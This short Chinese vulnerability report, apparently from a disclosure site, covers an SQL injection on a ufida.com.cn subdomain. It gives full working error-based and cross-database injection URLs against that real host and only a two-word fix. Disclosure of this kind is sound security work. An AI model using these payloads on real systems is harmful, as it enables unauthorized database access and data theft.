某二级站存在注入，可报错，可跨库。 dbo权限 漏洞 证明： 报错注入： http://tclub.ufida.com.cn/buyservice. asp ?Money67=0&checkbox=69&Money69=100&checkbox=75&Money75=0&money=2012-12-20&flag=shopcar&shopcarflag=gwc&iRemainMoney=&checkbox=63&Money63=0&checkbox=65&Money65=0&checkbox=66&Money66=0&checkbox=67%27%20and%200=(@@version)-- 可跨库： http://tclub.ufida.com.cn/buyservice.asp?Money67=0&checkbox=69&Money69=100&checkbox=75&Money75=0&money=2012-12-20&flag=shopcar&shopcarflag=gwc&iRemainMoney=&checkbox=63&Money63=0&checkbox=65&Money65=0&checkbox=66&Money66=0&checkbox=67%27%20and%200=(select%20name%20from%20master.dbo.sysdatabases%20where%20dbid=9)-- 修复方案： 权限 过滤 作者 Liscker
查看更多关于用友网站的一个SQL Injection漏洞及修复 - 网站安全的详细内容...